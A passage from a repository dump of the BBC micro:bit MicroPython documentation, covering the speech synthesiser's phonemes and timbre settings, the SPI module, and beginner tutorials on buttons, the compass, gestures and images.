voice.\n\nPunctuation\n===========\n\nPunctuation is used to alter the delivery of speech. The synthesiser\nunderstands four punctuation marks: hyphen, comma, full-stop and question mark.\n\nThe hyphen (``-``) marks clause boundaries by inserting a short pause in the\nspeech.\n\nThe comma (``,``) marks phrase boundaries and inserts a pause of approximately\ndouble that of the hyphen.\n\nThe full-stop (``.``) and question mark (``?``) end sentences.\n\nThe full-stop inserts a pause and causes the pitch to fall.\n\nThe question mark also inserts a pause but causes the pitch to rise. This works\nwell with yes/no questions such as, \"are we home yet?\" rather than more complex\nquestions such as \"why are we going home?\". In the latter case, use a\nfull-stop.\n\nTimbre\n======\n\nThe timbre of a sound is the quality of the sound. It's the difference between\nthe voice of a DALEK and the voice of a human (for example). To control the\ntimbre change the numeric settings of the ``pitch``, ``speed``, ``mouth`` and\n``throat`` arguments.\n\nThe pitch (how high or low the voice sounds) and speed (how quickly the speech\nis delivered) settings are rather obvious and generally fall into the following\ncategories:\n\nPitch:\n\n* 0-20 impractical\n* 20-30 very high\n* 30-40 high\n* 40-50 high normal\n* 50-70 normal\n* 70-80 low normal\n* 80-90 low\n* 90-255 very low\n\n(The default is 64)\n\nSpeed:\n\n* 0-20 impractical\n* 20-40 very fast\n* 40-60 fast\n* 60-70 fast conversational\n* 70-75 normal conversational\n* 75-90 narrative\n* 90-100 slow\n* 100-225 very slow\n\n(The default is 72)\n\nThe mouth and throat values are a little harder to explain and the following\ndescriptions are based upon our aural impressions of speech produced as the\nvalue of each setting is changed.\n\nFor mouth, the lower the number the more it sounds like the speaker is talking\nwithout moving their lips. In contrast, higher numbers (up to 255) make it\nsound like the speech is enunciated with exagerated mouth movement.\n\nFor throat, the lower the number the more relaxed the speaker sounds. In\ncontrast, the higher the number, the more tense the tone of voice becomes.\n\nThe important thing is to experiment and adjust the settings until you get the\neffect you desire.\n\nTo get you started here are some examples::\n\n    speech.say(\"I am a little robot\",  speed=92, pitch=60, throat=190, mouth=190)\n    speech.say(\"I am an elf\", speed=72, pitch=64, throat=110, mouth=160)\n    speech.say(\"I am a news presenter\", speed=82, pitch=72, throat=110, mouth=105)\n    speech.say(\"I am an old lady\", speed=82, pitch=32, throat=145, mouth=145)\n    speech.say(\"I am E.T.\", speed=100, pitch=64, throat=150, mouth=200)\n    speech.say(\"I am a DALEK - EXTERMINATE\", speed=120, pitch=100, throat=100, mouth=200)\n\nPhonemes\n========\n\nThe ``say`` function makes it easy to produce speech - but often it's not\naccurate. To make sure the speech synthesiser pronounces things\n*exactly* how you'd like, you need to use phonemes: the smallest\nperceptually distinct units of sound that can be used to distinguish different\nwords. Essentially, they are the building-block sounds of speech.\n\nThe ``pronounce`` function takes a string containing a simplified and readable\nversion of the `International Phonetic Alphabet <https://en.wikipedia.org/wiki/International_Phonetic_Alphabet>`_ and optional annotations to indicate\ninflection and emphasis.\n\nThe advantage of using phonemes is that you don't have to know how to spell!\nRather, you only have to know how to say the word in order to spell it\nphonetically.\n\nThe table below lists the phonemes understood by the synthesiser.\n\n.. note::\n\n    The table contains the phoneme as characters, and an example word. The\n    example words have the sound of the phoneme (in parenthesis), but not\n    necessarily the same letters.\n\n    Often overlooked: the symbol for the \"H\" sound is ``/H``. A glottal stop\n    is a forced stoppage of sound.\n\n::\n\n    SIMPLE VOWELS                          VOICED CONSONANTS\n    IY           f(ee)t                    R        (r)ed\n    IH           p(i)n                     L        a(ll)ow\n    EH           b(e)g                     W        a(w)ay\n    AE           S(a)m                     W        (wh)ale\n    AA           p(o)t                     Y        (y)ou\n    AH           b(u)dget                  M        Sa(m)\n    AO           t(al)k                    N        ma(n)\n    OH           c(o)ne                    NX       so(ng)\n    UH           b(oo)k                    B        (b)ad\n    UX           l(oo)t                    D        (d)og\n    ER           b(ir)d                    G        a(g)ain\n    AX           gall(o)n                  J        (j)u(dg)e\n    IX           dig(i)t                   Z        (z)oo\n                                           ZH       plea(s)ure\n    DIPHTHONGS                             V        se(v)en\n    EY           m(a)de                    DH       (th)en\n    AY           h(igh)\n    OY           b(oy)\n    AW           h(ow)                     UNVOICED CONSONANTS\n    OW           sl(ow)                    S         (S)am\n    UW           cr(ew)                    SH        fi(sh)\n                                           F         (f)ish\n                                           TH        (th)in\n    SPECIAL PHONEMES                       P         (p)oke\n    UL           sett(le) (=AXL)           T         (t)alk\n    UM           astron(om)y (=AXM)        K         (c)ake\n    UN           functi(on) (=AXN)         CH        spee(ch)\n    Q            kitt-en (glottal stop)    /H        a(h)ead\n\nThe following non-standard symbols are also available to the user::\n\n    YX           diphthong ending (weaker version of Y)\n    WX           diphthong ending (weaker version of W)\n    RX           R after a vowel (smooth version of R)\n    LX           L after a vowel (smooth version of L)\n    /X           H before a non-front vowel or consonant - as in (wh)o\n    DX           T as in pi(t)y (weaker version of T)\n\nHere are some seldom used phoneme combinations (and suggested alternatives)::\n\n    PHONEME        YOU PROBABLY WANT:     UNLESS IT SPLITS SYLLABLES LIKE:\n    COMBINATION\n    GS             GZ e.g. ba(gs)         bu(gs)pray\n    BS             BZ e.g. slo(bz)        o(bsc)ene\n    DS             DZ e.g. su(ds)         Hu(ds)son\n    PZ             PS e.g. sla(ps)        -----\n    TZ             TS e.g. cur(ts)y       -----\n    KZ             KS e.g. fi(x)          -----\n    NG             NXG e.g. singing       i(ng)rate\n    NK             NXK e.g. bank          Su(nk)ist\n\nIf you use anything other than the phonemes described above, a ``ValueError``\nexception will be raised. Pass in the phonemes as a string like this::\n\n    speech.pronounce(\"/HEHLOW\")  # \"Hello\"\n\nThe phonemes are classified into two broad groups: vowels and consonants.\n\nVowels are further subdivided into simple vowels and diphthongs. Simple vowels\ndon't change their sound as you say them whereas diphthongs start with one\nsound and end with another. For example, when you say the word \"oil\" the \"oi\"\nvowel starts with an \"oh\" sound but changes to an \"ee\" sound.\n\nConsonants are also subdivided into two groups: voiced and unvoiced. Voiced\nconsonants require the speaker to use their vocal chords to produce the sound.\nFor example, consonants like \"L\", \"N\" and \"Z\" are voiced. Unvoiced consonants\nare produced by rushing air, such as \"P\", \"T\" and \"SH\".\n\nOnce you get used to it, the phoneme system is easy. To begin with some\nspellings may seem tricky (for example, \"adventure\" has a \"CH\" in it) but the\nrule is to write what you say, not what you spell. Experimentation is the best\nway to resolve problematic words.\n\nIt's also important that speech sounds natural and understandable. To help\nwith improving the quality of spoken output it's often good to use the built-in\nstress system to add inflection or emphasis.\n\nThere are eight stress markers indicated by the numbers ``1`` - ``8``. Simply\ninsert the required number after the vowel to be stressed. For example, the\nlack of expression of \"/HEHLOW\" is much improved (and friendlier) when\nspelled out \"/HEH3LOW\".\n\nIt's also possible to change the meaning of words through the way they are\nstressed. Consider the phrase \"Why should I walk to the store?\". It could be\npronounced in several different ways::\n\n    # You need a reason to do it.\n    speech.pronounce(\"WAY2 SHUH7D AY WAO5K TUX DHAH STOH5R.\")\n    # You are reluctant to go.\n    speech.pronounce(\"WAY7 SHUH2D AY WAO7K TUX DHAH STOH5R.\")\n    # You want someone else to do it.\n    speech.pronounce(\"WAY5 SHUH7D AY2 WAO7K TUX DHAH STOHR.\")\n    # You'd rather drive.\n    speech.pronounce(\"WAY5 SHUHD AY7 WAO2K TUX7 DHAH STOHR.\")\n    # You want to walk somewhere else.\n    speech.pronounce(\"WAY5 SHUHD AY WAO5K TUX DHAH STOH2OH7R.\")\n\nPut simply, different stresses in the speech create a more expressive tone of\nvoice.\n\nThey work by raising or lowering pitch and elongating the associated vowel\nsound depending on the number you give:\n\n#. very emotional stress\n#. very emphatic stress\n#. rather strong stress\n#. ordinary stress\n#. tight stress\n#. neutral (no pitch change) stress\n#. pitch-dropping stress\n#. extreme pitch-dropping stress\n\nThe smaller the number, the more extreme the emphasis will be. However, such\nstress markers will help pronounce difficult words correctly. For example, if\na syllable is not enunciated sufficiently, put in a neutral stress marker.\n\nIt's also possible to elongate words with stress markers::\n\n    speech.pronounce(\"/HEH5EH4EH3EH2EH2EH3EH4EH5EHLP.”)\n\nSinging\n=======\n\nIt's possible to make MicroPython sing phonemes.\n\nThis is done by annotating a pitch related number onto a phoneme. The lower the\nnumber, the higher the pitch. Numbers roughly translate into musical notes as\nshown in the diagram below:\n\n.. image:: speech-pitch.png\n\nAnnotations work by pre-pending a hash (``#``) sign and the pitch number in\nfront of the phoneme. The pitch will remain the same until a new annotation\nis given. For example, make MicroPython sing a scale like this::\n\n    solfa = [\n        \"#115DOWWWWWW\",   # Doh\n        \"#103REYYYYYY\",   # Re\n        \"#94MIYYYYYY\",    # Mi\n        \"#88FAOAOAOAOR\",  # Fa\n        \"#78SOHWWWWW\",    # Soh\n        \"#70LAOAOAOAOR\",  # La\n        \"#62TIYYYYYY\",    # Ti\n        \"#58DOWWWWWW\",    # Doh\n    ]\n    song = ''.join(solfa)\n    speech.sing(song, speed=100)\n\nIn order to sing a note for a certain duration extend the\nnote by repeating vowel or voiced consonant phonemes (as demonstrated in\nthe example above). Beware diphthongs - to extend them you need to break them\ninto their component parts. For example, \"OY\" can be extended with\n\"OHOHIYIYIY\".\n\nExperimentation, listening carefully and adjusting is the only sure way to work\nout how many times to repeat a phoneme so the note lasts for the desired\nduration.\n\nHow Does it Work?\n=================\n\nThe original manual explains it well:\n\n    First, instead of recording the actual speech waveform, we only store the\n    frequency spectrums. By doing this, we save memory and pick up other\n    advantages. Second, we [...] store some data about timing. These are\n    numbers pertaining to the duration of each phoneme under different\n    circumstances, and also some data on transition times so we can know how\n    to blend a phoneme into its neighbors. Third, we devise a system of rules\n    to deal with all this data and, much to our amazement, our computer is\n    babbling in no time.\n\n    --- S.A.M. owner's manual.\n\nThe output is piped through the functions provided by the ``audio`` module and,\nhey presto, we have a talking micro:bit.\n\nExample\n=======\n\n.. include:: ../examples/speech.py\n    :code: python\n"
  },
  {
    "path": "micropython/docs/spi.rst",
    "content": "SPI\n***\n\n.. py:module:: microbit.spi\n\nThe ``spi`` module lets you talk to a device connected to your board using\na serial peripheral interface (SPI) bus. SPI uses a so-called master-slave\narchitecture with a single master. You will need to specify the connections\nfor three signals:\n\n* SCLK : Serial Clock (output from master).\n* MOSI : Master Output, Slave Input (output from master).\n* MISO : Master Input, Slave Output (output from slave).\n\n\nFunctions\n=========\n\n.. method:: init(baudrate=1000000, bits=8, mode=0, sclk=pin13, mosi=pin15, miso=pin14)\n\n    Initialize SPI communication with the specified parameters on the\n    specified ``pins``. Note that for correct communication, the parameters\n    have to be the same on both communicating devices.\n\n    The ``baudrate`` defines the speed of communication.\n\n    The ``bits`` defines the size of bytes being transmitted. Currently only\n    ``bits=8`` is supported. However, this may change in the future.\n\n    The ``mode`` determines the combination of clock polarity and phase\n    according to the following convention, with polarity as the high order bit\n    and phase as the low order bit:\n\n    +----------+-----------------+--------------+\n    | SPI Mode | Polarity (CPOL) | Phase (CPHA) |\n    +==========+=================+==============+\n    | 0        | 0               | 0            |\n    +----------+-----------------+--------------+\n    | 1        | 0               | 1            |\n    +----------+-----------------+--------------+\n    | 2        | 1               | 0            |\n    +----------+-----------------+--------------+\n    | 3        | 1               | 1            |\n    +----------+-----------------+--------------+\n\n    Polarity (aka CPOL) 0 means that the clock is at logic value 0 when idle\n    and goes high (logic value 1) when active; polarity 1 means the clock is\n    at logic value 1 when idle and goes low (logic value 0) when active. Phase\n    (aka CPHA) 0 means that data is sampled on the leading edge of the clock,\n    and 1 means on the trailing edge\n    (viz. https://en.wikipedia.org/wiki/Signal_edge).\n\n    The ``sclk``, ``mosi`` and ``miso`` arguments specify the pins to use for\n    each type of signal.\n\n.. method:: spi.read(nbytes)\n\n   Read at most ``nbytes``. Returns what was read.\n\n.. method:: spi.write(buffer)\n\n   Write the ``buffer`` of bytes to the bus.\n\n.. method:: spi.write_readinto(out, in)\n\n   Write the ``out`` buffer to the bus and read any response into the ``in``\n   buffer. The length of the buffers should be the same. The buffers can be\n   the same object.\n"
  },
  {
    "path": "micropython/docs/tutorials/buttons.rst",
    "content": "Buttons\n-------\n\nSo far we have created code that makes the device do something. This is called\n*output*. However, we also need the device to react to things. Such things are\ncalled *inputs*.\n\nIt's easy to remember: output is what the device puts out to the world\nwhereas input is what goes into the device for it to process.\n\nThe most obvious means of input on the micro:bit are its two buttons, labelled\n``A`` and ``B``. Somehow, we need MicroPython to react to button presses.\n\nThis is remarkably simple::\n\n    from microbit import *\n\n    sleep(10000)\n    display.scroll(str(button_a.get_presses()))\n\nAll this script does is sleep for ten thousand milliseconds (i.e. 10 seconds)\nand then scrolls the number of times you pressed button ``A``. That's it!\n\nWhile it's a pretty useless script, it introduces a couple of interesting new\nideas:\n\n#. The ``sleep`` *function* will make the micro:bit sleep for a certain number\n   of milliseconds. If you want a pause in your program, this is how to do it.\n   A *function* is just like a *method*, but it isn't attached by a dot to an\n   *object*.\n#. There is an object called ``button_a`` and it allows you to get the number\n   of times it has been pressed with the ``get_presses`` *method*.\n\nSince ``get_presses`` gives a numeric value and ``display.scroll`` only\ndisplays characters, we need to convert the numeric value into a string of\ncharacters. We do this with the ``str`` function (short for \"string\" ~ it\nconverts things into strings of characters).\n\nThe third line is a bit like an onion. If the parenthesis are the\nonion skins then you'll notice that ``display.scroll`` contains ``str`` that\nitself contains ``button_a.get_presses``. Python attempts to work out the\ninner-most answer first before starting on the next layer out. This is called\n*nesting* - the coding equivalent of a Russian Matrioshka doll.\n\n.. image:: matrioshka.jpg\n\nLet's pretend you've pressed the button 10 times. Here's how Python works out\nwhat's happening on the third line:\n\nPython sees the complete line and gets the value of ``get_presses``::\n\n    display.scroll(str(button_a.get_presses()))\n\nNow that Python knows how many button presses there have been, it converts the\nnumeric value into a string of characters::\n\n    display.scroll(str(10))\n\nFinally, Python knows what to scroll across the display::\n\n    display.scroll(\"10\")\n\nWhile this might seem like a lot of work, MicroPython makes this happen\nextraordinarily fast.\n\nEvent Loops\n+++++++++++\n\nOften you need your program to hang around waiting for something to happen. To\ndo this you make it loop around a piece of code that defines how to react to\ncertain expected events such as a button press.\n\nTo make loops in Python you use the ``while`` keyword. It checks if something\nis ``True``. If it is, it runs a *block of code* called the *body* of the loop.\nIf it isn't, it breaks out of the loop (ignoring the body) and the rest of the\nprogram can continue.\n\nPython makes it easy to define blocks of code. Say I have a to-do list written\non a piece of paper. It probably looks something like this::\n\n    Shopping\n    Fix broken gutter\n    Mow the lawn\n\nIf I wanted to break down my to-do list a bit further, I might write something\nlike this::\n\n    Shopping:\n        Eggs\n        Bacon\n        Tomatoes\n    Fix broken gutter:\n        Borrow ladder from next door\n        Find hammer and nails\n        Return ladder\n    Mow the lawn:\n        Check lawn around pond for frogs\n        Check mower fuel level\n\nIt's obvious that the main tasks are broken down into sub-tasks that are\n*indented* underneath the main task to which they are related. So ``Eggs``,\n``Bacon`` and ``Tomatoes`` are obviously related to ``Shopping``. By indenting\nthings we make it easy to see, at a glance, how the tasks relate to each other.\n\nThis is called *nesting*. We use nesting to define blocks of code like this::\n\n    from microbit import *\n\n    while running_time() < 10000:\n        display.show(Image.ASLEEP)\n\n    display.show(Image.SURPRISED)\n\nThe ``running_time`` function returns the number of milliseconds since the\ndevice started.\n\nThe ``while running_time() < 10000:`` line checks if the running time is less\nthan 10000 milliseconds (i.e. 10 seconds). If it is, *and this is where we can\nsee scoping in action*, then it'll display ``Image.ASLEEP``. Notice how this is\nindented underneath the ``while`` statement *just like in our to-do list*.\n\nObviously, if the running time is equal to or greater than 10000 milliseconds\nthen the display will show ``Image.SURPRISED``. Why? Because the ``while``\ncondition will be False (``running_time`` is no longer ``< 10000``). In that\ncase the loop is finished and the program will continue after the ``while``\nloop's block of code. It'll look like your device is asleep for 10\nseconds before waking up with a surprised look on its face.\n\nTry it!\n\nHandling an Event\n+++++++++++++++++\n\nIf we want MicroPython to react to button press events we should put it into\nan infinite loop and check if the button ``is_pressed``.\n\nAn infinite loop is easy::\n\n    while True:\n        # Do stuff\n\n(Remember, ``while`` checks if something is ``True`` to work out if it should\nrun its block of code. Since ``True`` is obviously ``True`` for all time, you\nget an infinite loop!)\n\nLet's make a very simple cyber-pet. It's always sad unless you're pressing\nbutton ``A``. If you press button ``B`` it dies. (I realise this isn't a very\npleasant game, so perhaps you can figure out how to improve it.)::\n\n    from microbit import *\n\n    while True:\n        if button_a.is_pressed():\n            display.show(Image.HAPPY)\n        elif button_b.is_pressed():\n            break\n        else:\n            display.show(Image.SAD)\n\n    display.clear()\n\nCan you see how we check what buttons are pressed? We used ``if``,\n``elif`` (short for \"else if\") and ``else``. These are called *conditionals*\nand work like this::\n\n    if something is True:\n        # do one thing\n    elif some other thing is True:\n        # do another thing\n    else:\n        # do yet another thing.\n\nThis is remarkably similar to English!\n\nThe ``is_pressed`` method only produces two results: ``True`` or ``False``.\nIf you're pressing the button it returns ``True``, otherwise it returns\n``False``. The code above is saying, in English, \"for ever and ever, if\nbutton A is pressed then show a happy face, else if button B is pressed break\nout of the loop, otherwise display a sad face.\" We break out of the loop (stop\nthe program running for ever and ever) with the ``break`` statement.\n\nAt the very end, when the cyber-pet is dead, we ``clear`` the display.\n\nCan you think of ways to make this game less tragic? How would you check if\n*both* buttons are pressed? (Hint: Python has ``and``, ``or`` and ``not``\nlogical operators to help check multiple truth statements (things that\nproduce either ``True`` or ``False`` results).\n\n.. footer:: The image of Matrioshka dolls is licensed CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=69402\n"
  },
  {
    "path": "micropython/docs/tutorials/direction.rst",
    "content": "Direction\n---------\n\nThere is a compass on the BBC micro:bit. If you ever make a weather station\nuse the device to work out the wind direction.\n\nCompass\n+++++++\n\nIt can also tell you the direction of North like this::\n\n    from microbit import *\n\n    compass.calibrate()\n\n    while True:\n        needle = ((15 - compass.heading()) // 30) % 12\n        display.show(Image.ALL_CLOCKS[needle])\n\n.. note:: \n\n    **You must calibrate the compass before taking readings.** Failure to do so\n    will produce garbage results. The ``calibration`` method runs a fun little\n    game to help the device work out where it is in relation to the Earth's\n    magnetic field.\n\n    To calibrate the compass, tilt the micro:bit around until a circle of pixels is\n    drawn on the outside edges of the display.\n\nThe program takes the ``compass.heading`` and, using some simple yet\ncunning maths, `floor division <https://en.wikipedia.org/wiki/Floor_and_ceiling_functions>`_ ``//`` and `modulo <https://en.wikipedia.org/wiki/Modulo_operation>`_ ``%``, works out the number of the clock hand to use to display on the screen\nso that it is pointing roughly North.\n"
  },
  {
    "path": "micropython/docs/tutorials/gestures.rst",
    "content": "Gestures\n--------\n\nThe really interesting side-effect of having an accelerometer is gesture\ndetection. If you move your BBC micro:bit in a certain way (as a gesture) then\nMicroPython is able to detect this.\n\nMicroPython is able to recognise the following gestures: ``up``, ``down``,\n``left``, ``right``, ``face up``, ``face down``, ``freefall``, ``3g``, ``6g``,\n``8g``, ``shake``. Gestures are always represented as strings. While most of\nthe names should be obvious, the ``3g``, ``6g`` and ``8g`` gestures apply when\nthe device encounters these levels of g-force (like when an astronaut is\nlaunched into space).\n\nTo get the current gesture use the ``accelerometer.current_gesture`` method.\nIts result is going to be one of the named gestures listed above. For example,\nthis program will only make your device happy if it is face up::\n\n    from microbit import *\n\n    while True:\n        gesture = accelerometer.current_gesture()\n        if gesture == \"face up\":\n            display.show(Image.HAPPY)\n        else:\n            display.show(Image.ANGRY)\n\nOnce again, because we want the device to react to changing circumstances we\nuse a ``while`` loop. Within the *scope* of the loop the current gesture is\nread and put into ``gesture``. The ``if`` conditional checks if ``gesture`` is\nequal to ``\"face up\"`` (Python uses ``==`` to test for equality, a single\nequals sign ``=`` is used for assignment - just like how we assign the gesture\nreading to the ``gesture`` object). If the gesture is equal to ``\"face up\"``\nthen use the display to show a happy face. Otherwise, the device is made to\nlook angry!\n\nMagic-8\n+++++++\n\nA Magic-8 ball is a toy first invented in the 1950s. The idea is to ask\nit a yes/no question, shake it and wait for it to reveal the truth. It's rather\neasy to turn into a program::\n\n    from microbit import *\n    import random\n\n    answers = [\n        \"It is certain\",\n        \"It is decidedly so\",\n        \"Without a doubt\",\n        \"Yes, definitely\",\n        \"You may rely on it\",\n        \"As I see it, yes\",\n        \"Most likely\",\n        \"Outlook good\",\n        \"Yes\",\n        \"Signs point to yes\",\n        \"Reply hazy try again\",\n        \"Ask again later\",\n        \"Better not tell you now\",\n        \"Cannot predict now\",\n        \"Concentrate and ask again\",\n        \"Don't count on it\",\n        \"My reply is no\",\n        \"My sources say no\",\n        \"Outlook not so good\",\n        \"Very doubtful\",\n    ]\n\n    while True:\n        display.show(\"8\")\n        if accelerometer.was_gesture(\"shake\"):\n            display.clear()\n            sleep(1000)\n            display.scroll(random.choice(answers))\n\nMost of the program is a list called ``answers``. The actual game is in the\n``while`` loop at the end.\n\nThe default state of the game is to show the character ``\"8\"``. However, the\nprogram needs to detect if it has been shaken. The ``was_gesture`` method uses\nits argument (in this case, the string ``\"shake\"`` because we want to detect\na shake) to return a ``True`` / ``False`` response. If the device was shaken\nthe ``if`` conditional drops into its block of code where it clears the screen,\nwaits for a second (so the device appears to be thinking about your question)\nand displays a randomly chosen answer.\n\nWhy not ask it if this is the greatest program ever written? What could you do\nto \"cheat\" and make the answer always positive or negative? (Hint: use the\nbuttons.)\n"
  },
  {
    "path": "micropython/docs/tutorials/hello.rst",
    "content": "Hello, World!\n-------------\n\nThe traditional way to start programming in a new language is to get your\ncomputer to say, \"Hello, World!\".\n\n.. image:: ../scroll-hello.gif\n\nThis is easy with MicroPython::\n\n    from microbit import *\n    display.scroll(\"Hello, World!\")\n\nEach line does something special. The first line::\n\n    from microbit import *\n\n...tells MicroPython to get all the stuff it needs to work with the BBC\nmicro:bit. All this stuff is in a module called ``microbit`` (a module\nis a library of pre-existing code). When you ``import`` something you're telling\nMicroPython that you want to use it, and ``*`` is Python's way to say\n*everything*. So, ``from microbit import *`` means, in English, \"I want to be\nable to use everything from the microbit code library\".\n\nThe second line::\n\n    display.scroll(\"Hello, World!\")\n\n...tells MicroPython to use the display to scroll the string of characters\n\"Hello, World!\". The ``display`` part of that line is an *object* from the\n``microbit`` module that represents the device's physical display (we say\n\"object\" instead of \"thingy\", \"whatsit\" or \"doodah\"). We can tell the display\nto do things with a full-stop ``.`` followed by what looks like a command (in\nfact it's something we call a *method*). In this case we're using the\n``scroll`` method. Since ``scroll`` needs to know what characters to scroll\nacross the physical display we specify them between double quotes (``\"``)\nwithin parenthesis (``(`` and ``)``). These are called the *arguments*. So,\n``display.scroll(\"Hello, World!\")`` means, in English, \"I want you to use the\ndisplay to scroll the text 'Hello, World!'\". If a method doesn't need any\narguments we make this clear by using empty parenthesis like this: ``()``.\n\nCopy the \"Hello, World!\" code into your editor and flash it onto the device.\nCan you work out how to change the message? Can you make it say hello to you?\nFor example, I might make it say \"Hello, Nicholas!\". Here's a clue, you need to\nchange the scroll method's argument.\n\n.. warning::\n\n    It may not work. :-)\n\n    This is where things get fun and MicroPython tries to be helpful. If\n    it encounters an error it will scroll a helpful message on the micro:bit's\n    display. If it can, it will tell you the line number for where the error\n    can be found.\n\n    Python expects you to type **EXACTLY** the right thing. So, for instance,\n    ``Microbit``, ``microbit`` and ``microBit`` are all different things to\n    Python. If MicroPython complains about a ``NameError`` it's probably\n    because you've typed something inaccurately. It's like the difference\n    between referring to \"Nicholas\" and \"Nicolas\". They're two different people\n    but their names look very similar.\n\n    If MicroPython complains about a ``SyntaxError`` you've simply typed code\n    in a way that MicroPython can't understand. Check you're not missing any\n    special characters like ``\"`` or ``:``. It's like putting. a full stop in\n    the middle of a sentence. It's hard to understand exactly what you mean.\n\n    Your microbit may stop responding: you cannot flash new code to it or\n    enter commands into the REPL. If this happens, try power cycling it. That\n    is, unplug the USB cable (and battery cable if it's connected), then plug\n    the cable back in again. You may also need to quit and re-start your code\n    editor application.\n"
  },
  {
    "path": "micropython/docs/tutorials/images.rst",
    "content": "Images\n------\n\nMicroPython is about as good at art as you can be if the only thing you have is\na 5x5 grid of red LEDs (light emitting diodes - the things that light up on the\nfront of the device). MicroPython gives you quite a lot of control over the\ndisplay so you can create all sorts of interesting effects.\n\nMicroPython comes with lots of built-in pictures to show on the display.\nFor example, to make the device appear happy you type::\n\n    from microbit import *\n    display.show(Image.HAPPY)\n\nI suspect you can remember what the first line does. The second line uses the\n``display`` object to ``show`` a built-in image. The happy image we want to\ndisplay is a part of the ``Image`` object and called ``HAPPY``. We tell\n``show`` to use it by putting it between the parenthesis (``(`` and ``)``).\n\n.. image:: happy.png\n\nHere's a list of the built-in images:\n\n    * ``Image.HEART``\n    * ``Image.HEART_SMALL``\n    * ``Image.HAPPY``\n    * ``Image.SMILE``\n    * ``Image.SAD``\n    * ``Image.CONFUSED``\n    * ``Image.ANGRY``\n    * ``Image.ASLEEP``\n    * ``Image.SURPRISED``\n    * ``Image.SILLY``\n    * ``Image.FABULOUS``\n    * ``Image.MEH``\n    * ``Image.YES``\n    * ``Image.NO``\n    * ``Image.CLOCK12``, ``Image.CLOCK11``, ``Image.CLOCK10``, ``Image.CLOCK9``,\n      ``Image.CLOCK8``, ``Image.CLOCK7``, ``Image.CLOCK6``, ``Image.CLOCK5``,\n      ``Image.CLOCK4``, ``Image.CLOCK3``, ``Image.CLOCK2``, ``Image.CLOCK1``\n    * ``Image.ARROW_N``, ``Image.ARROW_NE``, ``Image.ARROW_E``,\n      ``Image.ARROW_SE``, ``Image.ARROW_S``, ``Image.ARROW_SW``,\n      ``Image.ARROW_W``, ``Image.ARROW_NW``\n    * ``Image.TRIANGLE``\n    * ``Image.TRIANGLE_LEFT``\n    * ``Image.CHESSBOARD``\n    * ``Image.DIAMOND``\n    * ``Image.DIAMOND_SMALL``\n    * ``Image.SQUARE``\n    * ``Image.SQUARE_SMALL``\n    * ``Image.RABBIT``\n    * ``Image.COW``\n    * ``Image.MUSIC_CROTCHET``\n    * ``Image.MUSIC_QUAVER``\n    * ``Image.MUSIC_QUAVERS``\n    * ``Image.PITCHFORK``\n    * ``Image.XMAS``\n    * ``Image.PACMAN``\n    * ``Image.TARGET``\n    * ``Image.TSHIRT``\n    * ``Image.ROLLERSKATE``\n    * ``Image.DUCK``\n    * ``Image.HOUSE``\n    * ``Image.TORTOISE``\n    * ``Image.BUTTERFLY``\n    * ``Image.STICKFIGURE``\n    * ``Image.GHOST``\n    * ``Image.SWORD``\n    * ``Image.GIRAFFE``\n    * ``Image.SKULL``\n    * ``Image.UMBRELLA``\n    * ``Image.SNAKE``\n\nThere's quite a lot! Why not modify the code that makes the micro:bit look\nhappy to see what some of the other built-in images look like? (Just replace\n``Image.HAPPY`` with one of the built-in images listed above.)\n\nDIY Images\n++++++++++\n\nOf course, you want to make your own image to display on the micro:bit, right?\n\nThat's easy.\n\nEach LED pixel on the physical display can be set to one of ten values. If a\npixel is set to ``0`` (zero) then it's off. It literally has zero brightness.\nHowever, if it is set to ``9`` then it is at its brightest level. The values\n``1`` to ``8`` represent the brightness levels between off (``0``) and full on\n(``9``).\n\nArmed with this information, it's possible to create a new image like this::\n\n    from microbit import *\n\n    boat = Image(\"05050:\"\n                 \"05050:\"\n                 \"05050:\"\n                 \"99999:\"\n                 \"09990\")\n\n    display.show(boat)\n\n(When run, the device should display an old-fashioned \"Blue Peter\" sailing ship\nwith the masts dimmer than the boat's hull.)\n\nHave you figured out how to draw a picture? Have you noticed that each line of\nthe physical display is represented by a line of numbers ending in ``:`` and\nenclosed between ``\"`` double quotes? Each number specifies a brightness.\nThere are five lines of five numbers so it's possible to specify the individual\nbrightness for each of the five pixels on each of the five lines on the\nphysical display. That's how to create a new image.\n\nSimple!\n\nIn fact, you don't need to write this over several lines. If you think you can\nkeep track of each line, you can rewrite it like this::\n\n    boat = Image(\"05050:05050:05050:99999:09990\")\n\nAnimation\n+++++++++\n\nStatic images are fun, but it's even more fun to make them move. This is also\namazingly simple to do with MicroPython ~ just use a list of images!\n\nHere is a shopping list::\n\n    Eggs\n    Bacon\n    Tomatoes\n\nHere's how you'd represent this list in Python::\n\n    shopping = [\"Eggs\", \"Bacon\", \"Tomatoes\" ]\n\nI've simply created a list called ``shopping`` and it contains three items.\nPython knows it's a list because it's enclosed in square brackets (``[`` and\n``]``). Items in the list are separated by a comma (``,``) and in this instance\nthe items are three strings of characters: ``\"Eggs\"``, ``\"Bacon\"`` and\n``\"Tomatoes\"``. We know they are strings of characters because they're enclosed\nin quotation marks ``\"``.\n\nYou can store anything in a list with Python. Here's a list of numbers::\n\n    primes = [2, 3, 5, 7, 11, 13, 17, 19]\n\n\n.. note::\n\n    Numbers don't need to be quoted since they represent a value (rather than a\n    string of characters). It's the difference between ``2`` (the numeric value\n    2) and ``\"2\"`` (the character/digit representing the number 2). Don't worry\n    if this doesn't make sense right now. You'll soon get used to it.\n\nIt's even possible to store different sorts of things in the same list::\n\n    mixed_up_list = [\"hello!\", 1.234, Image.HAPPY]\n\nNotice that last item? It was an image!\n\nWe can tell MicroPython to animate a list of images. Luckily we have a\ncouple of lists of images already built in. They're called ``Image.ALL_CLOCKS``\nand ``Image.ALL_ARROWS``::\n\n    from microbit import *\n\n    display.show(Image.ALL_CLOCKS, loop=True, delay=100)\n\nAs with a single image, we use ``display.show`` to show it on the\ndevice's display. However, we tell MicroPython to use ``Image.ALL_CLOCKS`` and\nit understands that it needs to show each image in the list, one after the\nother. We also tell MicroPython to keep looping over the list of images (so\nthe animation lasts forever) by saying ``loop=True``. Furthermore, we tell it\nthat we want the delay between each image to be only 100 milliseconds (a tenth\nof a second) with the argument ``delay=100``.\n\nCan you work out how to animate over the ``Image.ALL_ARROWS`` list? How do you\navoid looping forever (hint: the opposite of ``True`` is ``False`` although\nthe default value for ``loop`` is ``False``)? Can you change the speed of the\nanimation?\n\nFinally, here's how to create your own animation. In my example I'm going to\nmake my boat sink into the bottom of the display::\n\n    from microbit import *\n\n    boat1 = Image(\"05050:\"\n                  \"05050:\"\n                  \"05050:\"\n                  